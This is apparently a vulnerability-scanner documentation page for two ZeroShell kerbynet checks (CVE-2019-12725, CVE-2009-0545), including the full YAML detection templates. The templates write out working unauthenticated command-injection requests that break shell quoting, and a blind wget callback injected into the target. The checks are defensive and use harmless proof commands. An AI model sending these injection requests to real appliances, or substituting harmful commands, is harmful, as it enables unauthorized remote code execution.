ZeroShell — 2 vulnerability checks
noctis ships 2 vulnerability checks for ZeroShell, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
ZeroShell kerbynet Unauthenticated Command Injection
| CVE | CVE-2019-12725 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, tcp_connect, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/zeroshell/CVE-2019-12725.yaml |
Detects the ZeroShell (< 3.9.3) unauthenticated OS command injection in /cgi-bin/kerbynet through the `x509type` parameter of the NoAuthREQ x509view action and the `User` parameter of StartSessionSubmit (CVE-2019-12725). Confirmation is keyed on a per-run marker followed by the shell-computed sum of two random integers, which a server that merely reflects (or strips and reflects) the request cannot produce. When OOB is configured, a blind wget callback covers targets that execute the command without echoing its output.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0Aecho%20NOCTIS{… - Checks
resp.bannerforNOCTIS[0-9a-f]{32}→ finding QoD 97: ZeroShell command injection confirmed via /cgi-bin/kerbynet x509view x509type parameter: injected `echo …` / `expr … + …` returned the mark… - Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi-bin/kerbynet?Action=StartSessionSubmit&User='%0Aecho%20NOCTIS{{proof.tok}}%0Aexp… - Checks
resp_user.bannerforNOCTIS[0-9a-f]{32}→ finding QoD 97: ZeroShell command injection confirmed via /cgi-bin/kerbynet StartSessionSubmit User parameter: injected `echo …` / `expr … + …` returned th… - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0Awget%20-q%20-O… - Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi-bin/kerbynet?Action=StartSessionSubmit&User='%0Awget%20-q%20-O%20/dev/null%20htt… - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: ZeroShell blind command injection confirmed via /cgi-bin/kerbynet (x509type / User parameter): a shell collapsed the $()-split OOB token an…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2019-12725
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-12725.yaml
Feed source — tests/vulnerabilities/zeroshell/CVE-2019-12725.yaml
# ZeroShell < 3.9.3 — unauthenticated OS command injection in /cgi-bin/kerbynet (CVE-2019-12725)
#
# Ported from OpenVAS/Greenbone NVT `2020/zeroshell/gb_zeroshell_rce_07_19.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.108947, GPL-2.0-only), plus the second request of
# the Nuclei template `http/cves/2019/CVE-2019-12725.yaml`.
#
# The kerbynet CGI places request parameters inside single-quoted shell
# arguments without sanitising them. A value of the form `'<LF>cmd<LF>'`
# closes the quote and puts `cmd` on its own shell line, which runs with the
# web server's privileges and whose output lands in the page. Two unauthenticated
# parameters are known to be affected:
# - `x509type` of `Section=NoAuthREQ&Action=x509view` (the NASL request)
# - `User` of `Action=StartSessionSubmit` (the Nuclei request)
#
# Detection — benign proofs only, nothing written, read or persisted:
# 1. In-band arithmetic proof on x509type (QoD 97). A `script` step mints a
# per-run token `tok = rand_hex(16)` and two random 6-digit integers a, b.
# The injected lines are `echo NOCTIS<tok>` and `expr <a> + <b>`. The
# finding fires only when the reply holds NOCTIS<tok> followed by the sum
# a+b: a server that reflects the request — raw, or after stripping quotes
# and control characters — only ever shows a and b, never their sum. The
# payload has no `$`, `(` or `)`, the same character set as the NASL's
# `id` / `cat /etc/passwd`.
# 2. Same proof on the StartSessionSubmit `User` parameter (QoD 97), reached
# only when step 1 did not fire. The NASL only probes x509type; builds
# where x509view is unavailable or filtered, but the login handler is
# still injectable, are caught here.
# 3. Blind fallback, OOB callback (QoD 97, only when OOB is configured and
# neither in-band proof fired). Both parameters are injected with
# `wget -q -O /dev/null http://<oob>/<a>$()<b>` where <a><b> = oob_token:
# catches targets that execute the command without echoing its output,
# which the NASL (output grep only) misses. The token is split by an empty
# $() so only a real shell rebuilds the callback path; a proxy/IDS that
# merely fetches URLs seen in the request hits a wrong path. Output goes
# to /dev/null, nothing is stored on the target.
#
# Deviations from the NASL (intentional, per the project's benign-proof rule):
# the NASL injects `exploit_commands("linux")` (`id`, `cat /etc/passwd`) and
# the Nuclei template reads /etc/passwd. The echo/expr proof exercises the same
# injection points and output channel without reading a system file. The NASL
# also requires a ZeroShell fingerprint on `/`; this feed probes kerbynet
# directly — the computed sum is the identification, and appliances whose
# landing page differs are not missed.
#
# Requests go through `tcp_connect` so `'`, `%0A`, `%2B` and `%24%28%29` reach
# the CGI byte-for-byte (no client-side URL normalisation).
uid: c782de71-90a2-4e04-a54f-8d65c1f18093
name: "ZeroShell kerbynet Unauthenticated Command Injection (CVE-2019-12725)"
description: |
Detects the ZeroShell (< 3.9.3) unauthenticated OS command injection in
/cgi-bin/kerbynet through the `x509type` parameter of the NoAuthREQ x509view
action and the `User` parameter of StartSessionSubmit (CVE-2019-12725).
Confirmation is keyed on a per-run marker followed by the shell-computed sum
of two random integers, which a server that merely reflects (or strips and
reflects) the request cannot produce. When OOB is configured, a blind wget
callback covers targets that execute the command without echoing its output.
cves: [CVE-2019-12725]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags: [zeroshell, kerbynet, firewall, command-injection, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2019-12725"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-12725.yaml"
steps:
# Per-run proof values: tok = 32 hex chars, a/b random 6-digit integers.
- id: gen-proof
action: script
code: |
let tok = rand_hex(16);
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
#{ tok: tok, a: "" + a, b: "" + b, sum: "" + (a + b), marker: "NOCTIS" + tok }
store_as: proof
# NASL request, injected command swapped for the echo/expr proof:
# ' is sent raw, as in the NASL. %0A = LF %20 = space %2B = +
- id: inject-x509type
action: tcp_connect
port: "{{port}}"
timeout_secs: 10
send: "GET /cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0Aecho%20NOCTIS{{proof.tok}}%0Aexpr%20{{proof.a}}%20%2B%20{{proof.b}}%0A' HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
store_as: resp
# The per-run marker must appear, followed later in the reply by the sum a+b
# that only a shell running `expr` can produce. No reply → resp.banner is ()
# and the condition is false.
- id: confirm-x509type
action: match
source: resp.banner
pattern: "NOCTIS[0-9a-f]{32}"
condition: "resp.connected == true && type_of(resp.banner) == \"string\" && stridx(resp.banner, proof.marker) >= 0 && stridx(substr(resp.banner, stridx(resp.banner, proof.marker) + strlen(proof.marker)), proof.sum) >= 0"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "ZeroShell command injection confirmed via /cgi-bin/kerbynet x509view x509type parameter: injected `echo {{proof.marker}}` / `expr {{proof.a}} + {{proof.b}}` returned the marker followed by the shell-computed sum {{proof.sum}}"
stop: true
# Nuclei request (StartSessionSubmit User), same proof.
- id: inject-user
action: tcp_connect
port: "{{port}}"
timeout_secs: 10
send: "GET /cgi-bin/kerbynet?Action=StartSessionSubmit&User='%0Aecho%20NOCTIS{{proof.tok}}%0Aexpr%20{{proof.a}}%20%2B%20{{proof.b}}%0A'&PW= HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
store_as: resp_user
- id: confirm-user
action: match
source: resp_user.banner
pattern: "NOCTIS[0-9a-f]{32}"
condition: "resp_user.connected == true && type_of(resp_user.banner) == \"string\" && stridx(resp_user.banner, proof.marker) >= 0 && stridx(substr(resp_user.banner, stridx(resp_user.banner, proof.marker) + strlen(proof.marker)), proof.sum) >= 0"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "ZeroShell command injection confirmed via /cgi-bin/kerbynet StartSessionSubmit User parameter: injected `echo {{proof.marker}}` / `expr {{proof.a}} + {{proof.b}}` returned the marker followed by the shell-computed sum {{proof.sum}}"
stop: true
# Blind fallback (reached only when no in-band proof fired): both injection
# points fetch the per-run OOB URL to /dev/null. The OOB token is split
# around an empty $() (sent as %24%28%29) so only a shell rebuilds it.
- id: split-oob-token
action: script
condition: "oob_enabled"
code: |
let n = strlen(oob_token);
#{ a: substr(oob_token, 0, 7), b: substr(oob_token, 8, n - 1) }
store_as: oobsplit
- id: inject-oob-x509type
action: tcp_connect
port: "{{port}}"
timeout_secs: 10
condition: "oob_enabled"
send: "GET /cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0Awget%20-q%20-O%20/dev/null%20http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}%24%28%29{{oobsplit.b}}%0A' HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
store_as: oob_req1
- id: inject-oob-user
action: tcp_connect
port: "{{port}}"
timeout_secs: 10
condition: "oob_enabled"
send: "GET /cgi-bin/kerbynet?Action=StartSessionSubmit&User='%0Awget%20-q%20-O%20/dev/null%20http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}%24%28%29{{oobsplit.b}}%0A'&PW= HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
store_as: oob_req2
- id: wait-callback
action: wait_oob
oob_timeout_secs: 20
condition: "oob_enabled"
store_as: oob_result
on_success:
finding:
confidence_delta: 0.67
qod: 97
evidence: "ZeroShell blind command injection confirmed via /cgi-bin/kerbynet (x509type / User parameter): a shell collapsed the $()-split OOB token and the injected wget fetched the per-run OOB URL (HTTP callback received)"
stop: trueZeroShell kerbynet x509List Unauthenticated Command Injection
| CVE | CVE-2009-0545 |
|---|---|
| Severity | critical · CVSS 10.0 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, tcp_connect, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/zeroshell/CVE-2009-0545.yaml |
Detects the ZeroShell (<= 1.0beta11) unauthenticated OS command injection in /cgi-bin/kerbynet via the `type` parameter of the NoAuthREQ x509List action (CVE-2009-0545). Confirmation is keyed on a per-run marker followed by the shell-computed sum of two random integers, which a server that merely reflects (or strips and reflects) the request cannot produce. When OOB is configured, a blind wget callback covers targets that execute the command without echoing its output.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;echo%20NOCTIS{{proof.to… - Checks
resp.bannerforNOCTIS[0-9a-f]{32}→ finding QoD 97: ZeroShell command injection confirmed via /cgi-bin/kerbynet x509List type parameter: injected `echo …;expr … + …` returned the marker follo… - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;wget%20-q%20-O%20/dev/n… - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: ZeroShell blind command injection confirmed via /cgi-bin/kerbynet x509List type parameter: a shell collapsed the $()-split OOB token and th…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2009-0545
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2009/CVE-2009-0545.yaml
Feed source — tests/vulnerabilities/zeroshell/CVE-2009-0545.yaml
# ZeroShell <= 1.0beta11 — unauthenticated OS command injection in /cgi-bin/kerbynet (CVE-2009-0545)
#
# Ported from OpenVAS/Greenbone NVT `2020/zeroshell/gb_zeroshell_rce_02_09.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.108945, GPL-2.0-only); same request as the Nuclei
# template `http/cves/2009/CVE-2009-0545.yaml`.
#
# The kerbynet CGI inserts the `type` parameter of the unauthenticated
# `Section=NoAuthREQ&Action=x509List` request into a double-quoted shell
# argument without sanitising it. Closing the quote with `"` and chaining with
# `;` runs an attacker-chosen command with the web server's privileges.
#
# Detection — two benign proofs, nothing written, read or persisted:
# 1. In-band arithmetic proof (QoD 97). A `script` step mints a per-run
# token `tok = rand_hex(16)` and two random 6-digit integers a, b. The NASL
# request is sent with its injected command replaced by
# `echo NOCTIS<tok>;expr <a> + <b>`. The finding fires only when the reply
# holds NOCTIS<tok> followed by the computed sum a+b: a server that
# reflects the request — raw, or after stripping quotes / shell
# metacharacters — only ever shows a and b, never their sum. The payload
# has no `$`, `(` or `)`, the same character set as the NASL's `id` /
# `cat /etc/passwd`, so a CGI that mangles those does not cause a miss.
# 2. Blind fallback, OOB callback (QoD 97, only when OOB is configured and
# step 1 did not fire). Same injection point, the command is
# `wget -q -O /dev/null http://<oob>/<a>$()<b>` where <a><b> = oob_token:
# catches targets that execute the command without echoing its output
# into the page, which the NASL (output grep only) misses. The token is
# split by an empty $() so only a real shell rebuilds the callback path; a
# proxy/IDS that merely fetches URLs seen in the request hits a wrong path.
# Output goes to /dev/null, nothing is stored on the target.
#
# Deviations from the NASL (intentional, per the project's benign-proof rule):
# the NASL injects `exploit_commands("linux")` (`id`, `cat /etc/passwd`) and the
# Nuclei template reads /etc/passwd through `getkey`. The echo/expr proof
# exercises the same injection point and output channel without reading a
# system file off the target. The NASL also requires a ZeroShell fingerprint on
# `/` (`<title>ZeroShell` or `/cgi-bin/kerbynet`); this feed probes kerbynet
# directly on every http/https port — the computed sum is the identification,
# and appliances whose landing page differs are not missed.
#
# Requests go through `tcp_connect` so `%22`, `%2B`, `;` and `%24%28%29` reach
# the CGI byte-for-byte (no client-side URL normalisation).
uid: 6bacf771-c14d-4a39-8e5e-89db8094584d
name: "ZeroShell kerbynet x509List Unauthenticated Command Injection (CVE-2009-0545)"
description: |
Detects the ZeroShell (<= 1.0beta11) unauthenticated OS command injection in
/cgi-bin/kerbynet via the `type` parameter of the NoAuthREQ x509List action
(CVE-2009-0545). Confirmation is keyed on a per-run marker followed by
the shell-computed sum of two random integers, which a server that merely
reflects (or strips and reflects) the request cannot produce. When OOB is configured, a blind wget
callback covers targets that execute the command without echoing its output.
cves: [CVE-2009-0545]
cvss: 10.0
severity: critical
confidence_base: 0.30
category: rce
tags: [zeroshell, kerbynet, firewall, command-injection, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-0545"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2009/CVE-2009-0545.yaml"
steps:
# Per-run proof values: tok = 32 hex chars, a/b random 6-digit integers.
- id: gen-proof
action: script
code: |
let tok = rand_hex(16);
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
#{ tok: tok, a: "" + a, b: "" + b, sum: "" + (a + b), marker: "NOCTIS" + tok }
store_as: proof
# NASL request, injected command swapped for `echo NOCTIS<tok>;expr <a> + <b>`:
# %20 = space %22 = " %2B = +
- id: inject
action: tcp_connect
port: "{{port}}"
timeout_secs: 10
send: "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;echo%20NOCTIS{{proof.tok}};expr%20{{proof.a}}%20%2B%20{{proof.b}};%22 HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
store_as: resp
# Confirm RCE: the per-run marker must appear, followed later in the reply by
# the sum a+b that only a shell running `expr` can produce. If no reply
# arrived, resp.banner is () and the condition is false.
- id: confirm
action: match
source: resp.banner
pattern: "NOCTIS[0-9a-f]{32}"
condition: "resp.connected == true && type_of(resp.banner) == \"string\" && stridx(resp.banner, proof.marker) >= 0 && stridx(substr(resp.banner, stridx(resp.banner, proof.marker) + strlen(proof.marker)), proof.sum) >= 0"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "ZeroShell command injection confirmed via /cgi-bin/kerbynet x509List type parameter: injected `echo {{proof.marker}};expr {{proof.a}} + {{proof.b}}` returned the marker followed by the shell-computed sum {{proof.sum}}"
stop: true
# Blind fallback (reached only when the in-band proof did not fire): same
# injection point, the command fetches the per-run OOB URL to /dev/null.
# Split the OOB token around an empty $() (sent as %24%28%29) so that only a
# shell collapses it back into /<oob_token>.
- id: split-oob-token
action: script
condition: "oob_enabled"
code: |
let n = strlen(oob_token);
#{ a: substr(oob_token, 0, 7), b: substr(oob_token, 8, n - 1) }
store_as: oobsplit
- id: inject-oob
action: tcp_connect
port: "{{port}}"
timeout_secs: 10
condition: "oob_enabled"
send: "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;wget%20-q%20-O%20/dev/null%20http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}%24%28%29{{oobsplit.b}};%22 HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
store_as: oob_req
- id: wait-callback
action: wait_oob
oob_timeout_secs: 20
condition: "oob_enabled"
store_as: oob_result
on_success:
finding:
confidence_delta: 0.67
qod: 97
evidence: "ZeroShell blind command injection confirmed via /cgi-bin/kerbynet x509List type parameter: a shell collapsed the $()-split OOB token and the injected wget fetched the per-run OOB URL (HTTP callback received)"
stop: true